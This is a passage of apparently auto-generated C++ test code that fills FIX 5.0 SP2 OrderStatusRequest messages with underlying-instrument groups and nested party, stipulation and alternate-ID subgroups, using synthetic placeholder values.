FIX50SP2::OrderStatusRequest::NoUnderlyings noUnderlyings_0_0;\n    // UndInstrmtGrp.NoUnderlyings\n    // UnderlyingInstrument\n    multiset<string> UnderlyingInstrument_84;\n    set_field(noUnderlyings_0_0, FIX::EncodedUnderlyingIssuer{\"DATA_431032873\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::EncodedUnderlyingIssuerLen{2066738187}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::EncodedUnderlyingSecurityDesc{\"DATA_1950763757\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::EncodedUnderlyingSecurityDescLen{64400656}, UnderlyingInstrument_84);\n    FIX::UnderlyingAdjustedQuantity UnderlyingAdjustedQuantity_84;\n    UnderlyingAdjustedQuantity_84.setString(\"14281186\");\nset_field(noUnderlyings_0_0, UnderlyingAdjustedQuantity_84, UnderlyingInstrument_84);\n    FIX::UnderlyingAllocationPercent UnderlyingAllocationPercent_84;\n    UnderlyingAllocationPercent_84.setString(\"90.600000\");\nset_field(noUnderlyings_0_0, UnderlyingAllocationPercent_84, UnderlyingInstrument_84);\n    FIX::UnderlyingAttachmentPoint UnderlyingAttachmentPoint_84;\n    UnderlyingAttachmentPoint_84.setString(\"84.570000\");\nset_field(noUnderlyings_0_0, UnderlyingAttachmentPoint_84, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCFICode{\"STRING_447773248\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCPProgram{\"STRING_1997943889\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCPRegType{\"STRING_2127946066\"}, UnderlyingInstrument_84);\n    FIX::UnderlyingCapValue UnderlyingCapValue_84;\n    UnderlyingCapValue_84.setString(\"18516731\");\nset_field(noUnderlyings_0_0, UnderlyingCapValue_84, UnderlyingInstrument_84);\n    FIX::UnderlyingCashAmount UnderlyingCashAmount_84;\n    UnderlyingCashAmount_84.setString(\"17455269\");\nset_field(noUnderlyings_0_0, UnderlyingCashAmount_84, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCashType{\"STRING_DIFF\"}, UnderlyingInstrument_84);\n    FIX::UnderlyingContractMultiplier UnderlyingContractMultiplier_84;\n    UnderlyingContractMultiplier_84.setString(\"18371013\");\nset_field(noUnderlyings_0_0, UnderlyingContractMultiplier_84, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingContractMultiplierUnit{870577745}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCountryOfIssue{\"COUNTRY_1364536080\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCouponPaymentDate{\"LOCALMKTDATE_1016761389\"}, UnderlyingInstrument_84);\n    FIX::UnderlyingCouponRate UnderlyingCouponRate_84;\n    UnderlyingCouponRate_84.setString(\"14.930000\");\nset_field(noUnderlyings_0_0, UnderlyingCouponRate_84, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCreditRating{\"STRING_414966129\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingCurrency{\"GBP\"}, UnderlyingInstrument_84);\n    FIX::UnderlyingCurrentValue UnderlyingCurrentValue_84;\n    UnderlyingCurrentValue_84.setString(\"18346705\");\nset_field(noUnderlyings_0_0, UnderlyingCurrentValue_84, UnderlyingInstrument_84);\n    FIX::UnderlyingDetachmentPoint UnderlyingDetachmentPoint_84;\n    UnderlyingDetachmentPoint_84.setString(\"36.290000\");\nset_field(noUnderlyings_0_0, UnderlyingDetachmentPoint_84, UnderlyingInstrument_84);\n    FIX::UnderlyingDirtyPrice UnderlyingDirtyPrice_84;\n    UnderlyingDirtyPrice_84.setString(\"16192862\");\nset_field(noUnderlyings_0_0, UnderlyingDirtyPrice_84, UnderlyingInstrument_84);\n    FIX::UnderlyingEndPrice UnderlyingEndPrice_84;\n    UnderlyingEndPrice_84.setString(\"13769562\");\nset_field(noUnderlyings_0_0, UnderlyingEndPrice_84, UnderlyingInstrument_84);\n    FIX::UnderlyingEndValue UnderlyingEndValue_84;\n    UnderlyingEndValue_84.setString(\"11035306\");\nset_field(noUnderlyings_0_0, UnderlyingEndValue_84, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingExerciseStyle{324943698}, UnderlyingInstrument_84);\n    FIX::UnderlyingFXRate UnderlyingFXRate_84;\n    UnderlyingFXRate_84.setString(\"14179431\");\nset_field(noUnderlyings_0_0, UnderlyingFXRate_84, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingFXRateCalc{'M'}, UnderlyingInstrument_84);\n    FIX::UnderlyingFactor UnderlyingFactor_84;\n    UnderlyingFactor_84.setString(\"7244364\");\nset_field(noUnderlyings_0_0, UnderlyingFactor_84, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingFlowScheduleType{209089606}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingInstrRegistry{\"STRING_717880138\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingIssueDate{\"LOCALMKTDATE_643691029\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingIssuer{\"STRING_12369715\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingLocaleOfIssue{\"STRING_782280795\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingMaturityDate{\"LOCALMKTDATE_2071809669\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingMaturityMonthYear{\"MONTHYEAR_1431698775\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingMaturityTime{\"TZTIMEONLY_691035604\"}, UnderlyingInstrument_84);\n    FIX::UnderlyingNotionalPercentageOutstanding UnderlyingNotionalPercentageOutstanding_84;\n    UnderlyingNotionalPercentageOutstanding_84.setString(\"92.690000\");\nset_field(noUnderlyings_0_0, UnderlyingNotionalPercentageOutstanding_84, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingOptAttribute{'1'}, UnderlyingInstrument_84);\n    FIX::UnderlyingOriginalNotionalPercentageOutstanding UnderlyingOriginalNotionalPercentageOutstanding_84;\n    UnderlyingOriginalNotionalPercentageOutstanding_84.setString(\"80.230000\");\nset_field(noUnderlyings_0_0, UnderlyingOriginalNotionalPercentageOutstanding_84, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingPriceUnitOfMeasure{\"STRING_76288739\"}, UnderlyingInstrument_84);\n    FIX::UnderlyingPriceUnitOfMeasureQty UnderlyingPriceUnitOfMeasureQty_84;\n    UnderlyingPriceUnitOfMeasureQty_84.setString(\"8802022\");\nset_field(noUnderlyings_0_0, UnderlyingPriceUnitOfMeasureQty_84, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingProduct{1782581448}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingPutOrCall{1913390101}, UnderlyingInstrument_84);\n    FIX::UnderlyingPx UnderlyingPx_84;\n    UnderlyingPx_84.setString(\"17507800\");\nset_field(noUnderlyings_0_0, UnderlyingPx_84, UnderlyingInstrument_84);\n    FIX::UnderlyingQty UnderlyingQty_84;\n    UnderlyingQty_84.setString(\"9996338\");\nset_field(noUnderlyings_0_0, UnderlyingQty_84, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingRedemptionDate{\"LOCALMKTDATE_782667842\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingRepoCollateralSecurityType{\"STRING_2079461534\"}, UnderlyingInstrument_84);\n    FIX::UnderlyingRepurchaseRate UnderlyingRepurchaseRate_84;\n    UnderlyingRepurchaseRate_84.setString(\"0.100000\");\nset_field(noUnderlyings_0_0, UnderlyingRepurchaseRate_84, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingRepurchaseTerm{2104214241}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingRestructuringType{\"STRING_1567101375\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecurityDesc{\"STRING_1101786869\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecurityExchange{\"EXCHANGE_1039804223\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecurityID{\"STRING_1038904006\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecurityIDSource{\"STRING_331259464\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecuritySubType{\"STRING_2143334871\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSecurityType{\"STRING_1363847705\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSeniority{\"STRING_1749202635\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSettlMethod{\"STRING_282698488\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSettlementType{5}, UnderlyingInstrument_84);\n    FIX::UnderlyingStartValue UnderlyingStartValue_84;\n    UnderlyingStartValue_84.setString(\"19582922\");\nset_field(noUnderlyings_0_0, UnderlyingStartValue_84, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingStateOrProvinceOfIssue{\"STRING_1000578627\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingStrikeCurrency{\"CHF\"}, UnderlyingInstrument_84);\n    FIX::UnderlyingStrikePrice UnderlyingStrikePrice_84;\n    UnderlyingStrikePrice_84.setString(\"17828594\");\nset_field(noUnderlyings_0_0, UnderlyingStrikePrice_84, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSymbol{\"STRING_508817598\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingSymbolSfx{\"STRING_1254877084\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingTimeUnit{\"STRING_326411378\"}, UnderlyingInstrument_84);\n    set_field(noUnderlyings_0_0, FIX::UnderlyingUnitOfMeasure{\"STRING_880916867\"}, UnderlyingInstrument_84);\n    FIX::UnderlyingUnitOfMeasureQty UnderlyingUnitOfMeasureQty_84;\n    UnderlyingUnitOfMeasureQty_84.setString(\"3895524\");\nset_field(noUnderlyings_0_0, UnderlyingUnitOfMeasureQty_84, UnderlyingInstrument_84);\n    all_values.push_back(UnderlyingInstrument_84);\n    all_compo_names.insert(\"...NoUnderlyings.\");\n\n    // UndSecAltIDGrp\n    // Group UndSecAltIDGrp.NoUnderlyingSecurityAltID\n    {\n      FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUnderlyingSecurityAltID noUnderlyingSecurityAltID_0_1_0;\n      // UndSecAltIDGrp.NoUnderlyingSecurityAltID\n      multiset<string> UndSecAltIDGrp_NoUnderlyingSecurityAltID_174;\n      set_field(noUnderlyingSecurityAltID_0_1_0, FIX::UnderlyingSecurityAltID{\"STRING_957205607\"}, UndSecAltIDGrp_NoUnderlyingSecurityAltID_174);\n      set_field(noUnderlyingSecurityAltID_0_1_0, FIX::UnderlyingSecurityAltIDSource{\"STRING_1269754749\"}, UndSecAltIDGrp_NoUnderlyingSecurityAltID_174);\n      all_values.push_back(UndSecAltIDGrp_NoUnderlyingSecurityAltID_174);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingSecurityAltID\");\n\n      noUnderlyings_0_0.addGroup(noUnderlyingSecurityAltID_0_1_0);\n    }\n    // UnderlyingStipulations\n    // Group UnderlyingStipulations.NoUnderlyingStips\n    {\n      FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUnderlyingStips noUnderlyingStips_0_1_0;\n      // UnderlyingStipulations.NoUnderlyingStips\n      multiset<string> UnderlyingStipulations_NoUnderlyingStips_170;\n      set_field(noUnderlyingStips_0_1_0, FIX::UnderlyingStipType{\"STRING_723112060\"}, UnderlyingStipulations_NoUnderlyingStips_170);\n      set_field(noUnderlyingStips_0_1_0, FIX::UnderlyingStipValue{\"STRING_873051143\"}, UnderlyingStipulations_NoUnderlyingStips_170);\n      all_values.push_back(UnderlyingStipulations_NoUnderlyingStips_170);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingStips\");\n\n      noUnderlyings_0_0.addGroup(noUnderlyingStips_0_1_0);\n    }\n    {\n      FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUnderlyingStips noUnderlyingStips_0_1_1;\n      // UnderlyingStipulations.NoUnderlyingStips\n      multiset<string> UnderlyingStipulations_NoUnderlyingStips_171;\n      set_field(noUnderlyingStips_0_1_1, FIX::UnderlyingStipType{\"STRING_1632641083\"}, UnderlyingStipulations_NoUnderlyingStips_171);\n      set_field(noUnderlyingStips_0_1_1, FIX::UnderlyingStipValue{\"STRING_1505779902\"}, UnderlyingStipulations_NoUnderlyingStips_171);\n      all_values.push_back(UnderlyingStipulations_NoUnderlyingStips_171);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingStips\");\n\n      noUnderlyings_0_0.addGroup(noUnderlyingStips_0_1_1);\n    }\n    {\n      FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUnderlyingStips noUnderlyingStips_0_1_2;\n      // UnderlyingStipulations.NoUnderlyingStips\n      multiset<string> UnderlyingStipulations_NoUnderlyingStips_172;\n      set_field(noUnderlyingStips_0_1_2, FIX::UnderlyingStipType{\"STRING_805029029\"}, UnderlyingStipulations_NoUnderlyingStips_172);\n      set_field(noUnderlyingStips_0_1_2, FIX::UnderlyingStipValue{\"STRING_899757445\"}, UnderlyingStipulations_NoUnderlyingStips_172);\n      all_values.push_back(UnderlyingStipulations_NoUnderlyingStips_172);\n      all_compo_names.insert(\"...NoUnderlyings....NoUnderlyingStips\");\n\n      noUnderlyings_0_0.addGroup(noUnderlyingStips_0_1_2);\n    }\n    // UndlyInstrumentParties\n    // Group UndlyInstrumentParties.NoUndlyInstrumentParties\n    {\n      FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUndlyInstrumentParties noUndlyInstrumentParties_0_1_0;\n      // UndlyInstrumentParties.NoUndlyInstrumentParties\n      multiset<string> UndlyInstrumentParties_NoUndlyInstrumentParties_181;\n      set_field(noUndlyInstrumentParties_0_1_0, FIX::UnderlyingInstrumentPartyID{\"STRING_224646756\"}, UndlyInstrumentParties_NoUndlyInstrumentParties_181);\n      set_field(noUndlyInstrumentParties_0_1_0, FIX::UnderlyingInstrumentPartyIDSource{'2'}, UndlyInstrumentParties_NoUndlyInstrumentParties_181);\n      set_field(noUndlyInstrumentParties_0_1_0, FIX::UnderlyingInstrumentPartyRole{354831071}, UndlyInstrumentParties_NoUndlyInstrumentParties_181);\n      all_values.push_back(UndlyInstrumentParties_NoUndlyInstrumentParties_181);\n      all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties\");\n\n      // UndlyInstrumentPtysSubGrp\n      // Group UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n      {\n        FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_0_2_0;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_362;\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_0, FIX::UnderlyingInstrumentPartySubID{\"STRING_185320131\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_362);\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_0, FIX::UnderlyingInstrumentPartySubIDType{350682294}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_362);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_362);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_0.addGroup(noUndlyInstrumentPartySubIDs_0_0_2_0);\n      }\n      {\n        FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_0_2_1;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_363;\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_1, FIX::UnderlyingInstrumentPartySubID{\"STRING_479914820\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_363);\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_1, FIX::UnderlyingInstrumentPartySubIDType{1934522766}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_363);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_363);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_0.addGroup(noUndlyInstrumentPartySubIDs_0_0_2_1);\n      }\n      {\n        FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_0_2_2;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_364;\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_2, FIX::UnderlyingInstrumentPartySubID{\"STRING_633380783\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_364);\n        set_field(noUndlyInstrumentPartySubIDs_0_0_2_2, FIX::UnderlyingInstrumentPartySubIDType{420715367}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_364);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_364);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_0.addGroup(noUndlyInstrumentPartySubIDs_0_0_2_2);\n      }\n      noUnderlyings_0_0.addGroup(noUndlyInstrumentParties_0_1_0);\n    }\n    {\n      FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUndlyInstrumentParties noUndlyInstrumentParties_0_1_1;\n      // UndlyInstrumentParties.NoUndlyInstrumentParties\n      multiset<string> UndlyInstrumentParties_NoUndlyInstrumentParties_182;\n      set_field(noUndlyInstrumentParties_0_1_1, FIX::UnderlyingInstrumentPartyID{\"STRING_1745331360\"}, UndlyInstrumentParties_NoUndlyInstrumentParties_182);\n      set_field(noUndlyInstrumentParties_0_1_1, FIX::UnderlyingInstrumentPartyIDSource{'1'}, UndlyInstrumentParties_NoUndlyInstrumentParties_182);\n      set_field(noUndlyInstrumentParties_0_1_1, FIX::UnderlyingInstrumentPartyRole{1005206943}, UndlyInstrumentParties_NoUndlyInstrumentParties_182);\n      all_values.push_back(UndlyInstrumentParties_NoUndlyInstrumentParties_182);\n      all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties\");\n\n      // UndlyInstrumentPtysSubGrp\n      // Group UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n      {\n        FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_1_2_0;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_365;\n        set_field(noUndlyInstrumentPartySubIDs_0_1_2_0, FIX::UnderlyingInstrumentPartySubID{\"STRING_1269335184\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_365);\n        set_field(noUndlyInstrumentPartySubIDs_0_1_2_0, FIX::UnderlyingInstrumentPartySubIDType{1514024541}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_365);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_365);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_1.addGroup(noUndlyInstrumentPartySubIDs_0_1_2_0);\n      }\n      {\n        FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_1_2_1;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_366;\n        set_field(noUndlyInstrumentPartySubIDs_0_1_2_1, FIX::UnderlyingInstrumentPartySubID{\"STRING_675903105\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_366);\n        set_field(noUndlyInstrumentPartySubIDs_0_1_2_1, FIX::UnderlyingInstrumentPartySubIDType{1595746562}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_366);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_366);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_1.addGroup(noUndlyInstrumentPartySubIDs_0_1_2_1);\n      }\n      noUnderlyings_0_0.addGroup(noUndlyInstrumentParties_0_1_1);\n    }\n    {\n      FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUndlyInstrumentParties noUndlyInstrumentParties_0_1_2;\n      // UndlyInstrumentParties.NoUndlyInstrumentParties\n      multiset<string> UndlyInstrumentParties_NoUndlyInstrumentParties_183;\n      set_field(noUndlyInstrumentParties_0_1_2, FIX::UnderlyingInstrumentPartyID{\"STRING_247457761\"}, UndlyInstrumentParties_NoUndlyInstrumentParties_183);\n      set_field(noUndlyInstrumentParties_0_1_2, FIX::UnderlyingInstrumentPartyIDSource{'1'}, UndlyInstrumentParties_NoUndlyInstrumentParties_183);\n      set_field(noUndlyInstrumentParties_0_1_2, FIX::UnderlyingInstrumentPartyRole{446172316}, UndlyInstrumentParties_NoUndlyInstrumentParties_183);\n      all_values.push_back(UndlyInstrumentParties_NoUndlyInstrumentParties_183);\n      all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties\");\n\n      // UndlyInstrumentPtysSubGrp\n      // Group UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n      {\n        FIX50SP2::OrderStatusRequest::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_0_2_2_0;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_367;\n        set_field(noUndlyInstrumentPartySubIDs_0_2_2_0, FIX::UnderlyingInstrumentPartySubID{\"STRING_187726660\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_367);\n        set_field(noUndlyInstrumentPartySubIDs_0_2_2_0, FIX::UnderlyingInstrumentPartySubIDType{1079179518}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_367);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_367);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_0_1_2.addGroup(noUndlyInstrumentPartySubIDs_0_2_2_0);\n      }\n      noUnderlyings_0_0.addGroup(noUndlyInstrumentParties_0_1_2);\n    }\n    msg.addGroup(noUnderlyings_0_0);\n  }\n  {\n    FIX50SP2::OrderStatusRequest::NoUnderlyings noUnderlyings_0_1;\n    // UndInstrmtGrp.NoUnderlyings\n    // UnderlyingInstrument\n    multiset<string> UnderlyingInstrument_85;\n    set_field(noUnderlyings_0_1, FIX::EncodedUnderlyingIssuer{\"DATA_1927775428\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::EncodedUnderlyingIssuerLen{1060777803}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::EncodedUnderlyingSecurityDesc{\"DATA_564336953\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::EncodedUnderlyingSecurityDescLen{1286071682}, UnderlyingInstrument_85);\n    FIX::UnderlyingAdjustedQuantity UnderlyingAdjustedQuantity_85;\n    UnderlyingAdjustedQuantity_85.setString(\"18658068\");\nset_field(noUnderlyings_0_1, UnderlyingAdjustedQuantity_85, UnderlyingInstrument_85);\n    FIX::UnderlyingAllocationPercent UnderlyingAllocationPercent_85;\n    UnderlyingAllocationPercent_85.setString(\"43.980000\");\nset_field(noUnderlyings_0_1, UnderlyingAllocationPercent_85, UnderlyingInstrument_85);\n    FIX::UnderlyingAttachmentPoint UnderlyingAttachmentPoint_85;\n    UnderlyingAttachmentPoint_85.setString(\"85.300000\");\nset_field(noUnderlyings_0_1, UnderlyingAttachmentPoint_85, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingCFICode{\"STRING_2090453589\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingCPProgram{\"STRING_1318155065\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingCPRegType{\"STRING_955929601\"}, UnderlyingInstrument_85);\n    FIX::UnderlyingCapValue UnderlyingCapValue_85;\n    UnderlyingCapValue_85.setString(\"12065207\");\nset_field(noUnderlyings_0_1, UnderlyingCapValue_85, UnderlyingInstrument_85);\n    FIX::UnderlyingCashAmount UnderlyingCashAmount_85;\n    UnderlyingCashAmount_85.setString(\"15034751\");\nset_field(noUnderlyings_0_1, UnderlyingCashAmount_85, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingCashType{\"STRING_FIXED\"}, UnderlyingInstrument_85);\n    FIX::UnderlyingContractMultiplier UnderlyingContractMultiplier_85;\n    UnderlyingContractMultiplier_85.setString(\"16864355\");\nset_field(noUnderlyings_0_1, UnderlyingContractMultiplier_85, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingContractMultiplierUnit{1290514314}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingCountryOfIssue{\"COUNTRY_1939992679\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingCouponPaymentDate{\"LOCALMKTDATE_2107150891\"}, UnderlyingInstrument_85);\n    FIX::UnderlyingCouponRate UnderlyingCouponRate_85;\n    UnderlyingCouponRate_85.setString(\"20.260000\");\nset_field(noUnderlyings_0_1, UnderlyingCouponRate_85, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingCreditRating{\"STRING_1426468441\"}, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingCurrency{\"CHF\"}, UnderlyingInstrument_85);\n    FIX::UnderlyingCurrentValue UnderlyingCurrentValue_85;\n    UnderlyingCurrentValue_85.setString(\"5483199\");\nset_field(noUnderlyings_0_1, UnderlyingCurrentValue_85, UnderlyingInstrument_85);\n    FIX::UnderlyingDetachmentPoint UnderlyingDetachmentPoint_85;\n    UnderlyingDetachmentPoint_85.setString(\"50.800000\");\nset_field(noUnderlyings_0_1, UnderlyingDetachmentPoint_85, UnderlyingInstrument_85);\n    FIX::UnderlyingDirtyPrice UnderlyingDirtyPrice_85;\n    UnderlyingDirtyPrice_85.setString(\"9852911\");\nset_field(noUnderlyings_0_1, UnderlyingDirtyPrice_85, UnderlyingInstrument_85);\n    FIX::UnderlyingEndPrice UnderlyingEndPrice_85;\n    UnderlyingEndPrice_85.setString(\"21440665\");\nset_field(noUnderlyings_0_1, UnderlyingEndPrice_85, UnderlyingInstrument_85);\n    FIX::UnderlyingEndValue UnderlyingEndValue_85;\n    UnderlyingEndValue_85.setString(\"5788728\");\nset_field(noUnderlyings_0_1, UnderlyingEndValue_85, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingExerciseStyle{2050746711}, UnderlyingInstrument_85);\n    FIX::UnderlyingFXRate UnderlyingFXRate_85;\n    UnderlyingFXRate_85.setString(\"4427552\");\nset_field(noUnderlyings_0_1, UnderlyingFXRate_85, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingFXRateCalc{'M'}, UnderlyingInstrument_85);\n    FIX::UnderlyingFactor UnderlyingFactor_85;\n    UnderlyingFactor_85.setString(\"909897\");\nset_field(noUnderlyings_0_1, UnderlyingFactor_85, UnderlyingInstrument_85);\n    set_field(noUnderlyings_0_1, FIX::UnderlyingFlowScheduleType{1521934725}, UnderlyingInstrument_85);\n    